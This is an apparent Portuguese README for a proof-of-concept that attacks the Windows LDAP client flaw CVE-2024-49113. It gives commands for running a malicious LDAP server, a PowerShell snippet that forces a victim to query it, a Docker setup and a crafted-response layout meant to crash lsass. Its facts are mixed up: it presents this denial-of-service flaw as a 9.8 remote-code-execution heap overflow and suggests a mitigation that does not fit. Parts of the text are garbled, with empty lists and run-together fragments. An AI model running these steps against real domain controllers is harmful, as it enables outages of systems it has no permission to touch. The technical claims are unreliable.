
Reprodução de cve-2024-49113-ldap_nightmare_reproduction
| Campo | Valor |
|---|
| CVE | CVE-2024-49113 |
| Apelido | Pesadelo LDAP |
| CVSS 3.1 | 9.8 — CRÍTICO |
| CWE | CWE-122 — Estouro de Buffer Baseado em Heap |
| Descoberto por | SafeBreach (PoC publicado em janeiro de 2025) |
| Exploração | Exploração ativa em ambiente real confirmada |
| Correção | Microsoft Patch Tuesday de dezembro de 2024 (KB5048685 / KB5048652) |
O CVE-2024-49113 é uma vulnerabilidade crítica de estouro de buffer baseado em heap na biblioteca do cliente LDAP do Windows (wldap32.dll). Um atacante remoto não autenticado pode acionar a vulnerabilidade enviando uma resposta LDAP especialmente criada para uma máquina Windows vítima que emita uma consulta LDAP (por exemplo, um controlador de domínio realizando consultas de diretório).
Como os controladores de domínio Windows rotineiramente enviam consultas LDAP para outros controladores de domínio, servidores membros e servidores de catálogo global, essa falha é especialmente perigosa em ambientes Active Directory. A exploração bem-sucedida resulta em execução remota de código no contexto da conta Sistema Local (em controladores de domínio), dando ao atacante controle total do servidor alvo.
A prova de conceito pública (apelidada de "Pesadelo LDAP") foi divulgada pela SafeBreach em janeiro de 2025, após a Microsoft lançar correções no Patch Tuesday de dezembro de 2024.
A vulnerabilidade reside em wldap32.dll — a implementação Windows do cliente do Protocolo Leve de Acesso a Diretórios (LDAP) conforme definido na RFC 4511.
Quando um cliente LDAP recebe uma resposta de Entrada de Resultado de Pesquisa, a biblioteca analisa as Unidades de Dados de Protocolo (PDUs) da mensagem LDAP em um loop de decodificação BER (Regras de Codificação Básicas). Uma falha na lógica de alocação de memória heap durante a análise de valores de atributos LDAP faz com que o decodificador escreva dados além dos limites de um buffer alocado no heap.
Especificamente:
Todas as edições suportadas do Windows Server e Windows Client são vulneráveis antes das atualizações de segurança de 10 de dezembro de 2024:
As atualizações do Patch Tuesday de dezembro de 2024 que corrigem este CVE são:
┌──────────────────┐ Consulta LDAP ┌─────────────────────┐
│ Host Vítima │ ──────────────────────────▶ │ Servidor LDAP │
│ (DC Windows) │ │ Atacante (Esta PoC)│
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Resposta LDAP Manipulada │ exploit.py │
│ estourado │ (payload de estouro heap) │ porta 389 │
└──────────────────┘ └─────────────────────┘
Na vítima, verifique os KBs instalados:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
Se nenhum resultado for retornado, o sistema está sem patch e vulnerável.
Na máquina do atacante, execute esta PoC:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
Onde 192.168.1.100 é o endereço IP do atacante.
Nota: No Linux, vincular à porta 389 requer root (sudo). No Windows, privilégios de administrador podem ser necessários.
Da máquina vítima (PowerShell, como Administrador):
# Forçar uma pesquisa LDAP contra o servidor atacante
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Conexão tentada — verifique o servidor PoC para detalhes da falha"
}
Alternativamente, use ldp.exe (incluído no Windows Server / RSAT):
DC=evil,DC=local[*] Enviando entrada de resultado de pesquisa maliciosa... e enviará a resposta manipulada.lsass.exe da vítima ou o processo do cliente LDAP travará com uma violação de acesso (0xC0000005), ou o sistema pode BSOD.Um Dockerfile é fornecido para executar a PoC em um ambiente isolado:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
O exploit.py incluído implementa:
--listen-ip, --listen-port, --payload-size).| Offset | Campo | Valor |
|---|---|---|
| 0x00 | Tag de Mensagem LDAP (0x30) | Sequência |
| 0x01–0x02 | Comprimento Total (manipulado) | Valor grande aciona o estouro |
| 0x03 | ProtocolOp (0x64) | Entrada de Resultado de Pesquisa |
| 0x04–0x0E | Campos de Resultado LDAP | Cabeçalho padrão |
| 0x0F+ | Lista de Atributos | Gatilho de estouro (comprimento = 0xFFFF) |
# Iniciar o servidor malicioso
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# Em outro terminal, monitorar conexões
tcpdump -i any port 389 -X
Instale as atualizações do Patch Tuesday de 10 de dezembro de 2024:
Se a correção não puder ser aplicada imediatamente:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
| Fonte | URL |
|---|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach (Descoberta Original) | Blog SafeBreach — Pesadelo LDAP |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | Estouro de Buffer Baseado em Heap |
| RFC 4511 | Protocolo LDAPv3 |
| Patch Tuesday de Dezembro de 2024 | Notas de Lançamento Microsoft |
Este material é fornecido apenas para fins educacionais e de teste de segurança autorizado. A exploração não autorizada do CVE-2024-49113 contra sistemas sem permissão explícita é ilegal. Os autores não são responsáveis por qualquer uso indevido desta informação. Sempre obtenha autorização por escrito antes de testar qualquer sistema.